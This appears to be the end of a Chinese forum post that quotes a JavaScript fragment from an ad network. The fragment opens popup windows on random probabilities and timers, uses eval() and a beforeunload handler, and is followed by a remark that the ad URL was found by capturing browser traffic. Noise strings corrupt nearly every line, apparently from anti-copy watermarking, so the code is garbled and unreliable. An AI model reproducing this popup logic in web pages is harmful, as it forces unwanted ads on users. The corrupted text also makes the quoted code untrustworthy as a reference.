- if (_pd2 > Math.random()) { / g5 C* p. G& L5 U, G. D
- setTimeout(function() { 8 z/ O0 D) j5 Y% V. @9 Y
- pop(url, { 0 j6 u+ a- c7 O% {9 Q
- a: 1,
" c7 H% M7 |$ p* S - b: 2 3 X2 \) C* b5 P! I
- }) - H. z, r+ c/ F
- },
8 s; k& {9 w8 F+ E" ?5 g& X - 300) " R; t& z' M- a- Z' H$ J
- }
; f& Y8 P5 X4 I# c2 Z8 O& o - for (var i = 1; i <= 10; i++) { 3 L' ^/ y! |$ t- }$ ?3 z$ D
- var n = i == 1 ? "": i; 7 V- v0 o0 d/ X1 V# v: y3 l* o- C
- if (eval("_pt" + n + "b") > Math.random()) {
7 L( |& @; s0 n, F+ B' F+ P - setTimeout(function() { % i& }0 @& X; S- e+ g
- setTimeout(function() {
" f6 } F9 J% C, ~1 A2 X - pop(url, { / k0 d. w: @& l4 d2 g. h- B
- a: 1, 3 a2 s" A4 s( j8 @1 g
- b: 2 . q! g) D& ^3 q2 w/ H: o `
- })
7 _0 u3 S0 |* N9 y7 O - }, ; |/ o, D" B/ `
- 300)
) k" c0 l3 `: p& v# `" I" n, k$ g - },
" c8 }1 U* H" i5 I! J - parseInt(eval("_pt" + n + "a")) * 1000)
; ? ?# `6 L- U. q. l3 p5 N - } ( N- X* k6 h/ \. T( t" Z
- } + [& k0 K$ F1 M
- if (_pc2 > Math.random()) {
6 _) ~9 E% v5 {& \" m2 G: e - a_pop(url)
1 ?% D; h7 K+ ^" Z0 W- J - }
: C. d2 k4 d# I6 I4 \( e - if (_po > Math.random()) {
7 _7 z. A, \( a! D- s2 d3 @+ o6 e - try {
/ d) b! d& I! |5 ` - func(url)
8 n% f1 G/ C: }6 V1 S - } catch(q) {}
7 R" C- P) f+ { - }
- u o R' }& K$ ^ - }
: g7 H! D( s- e - };
$ ]1 n3 T2 j9 @. ~* x4 M - fstart(aa_url);
' Z5 `! e" `1 o1 w7 s2 s4 W- v. f - event(window, 'beforeunload',
5 ~" k2 }& M3 T1 B. E - function() {})
~$ ~- _& }3 d. j8 @1 | K - })();
复制代码 通过浏览器抓包
& M0 J6 E, Q+ J5 N, lURL从这里产生
+ }8 d: j9 v" {. Y- l
; u0 [7 Q; t! a2 v9 lhttp://play.unionsky.cn/show/?placeid=1418300 E! @* }2 ?4 A+ \1 o/ x# p8 \3 L
: y# B8 |3 A4 d; C ~6 g1 U9 c% v9 J9 H7 H8 s2 I$ n
|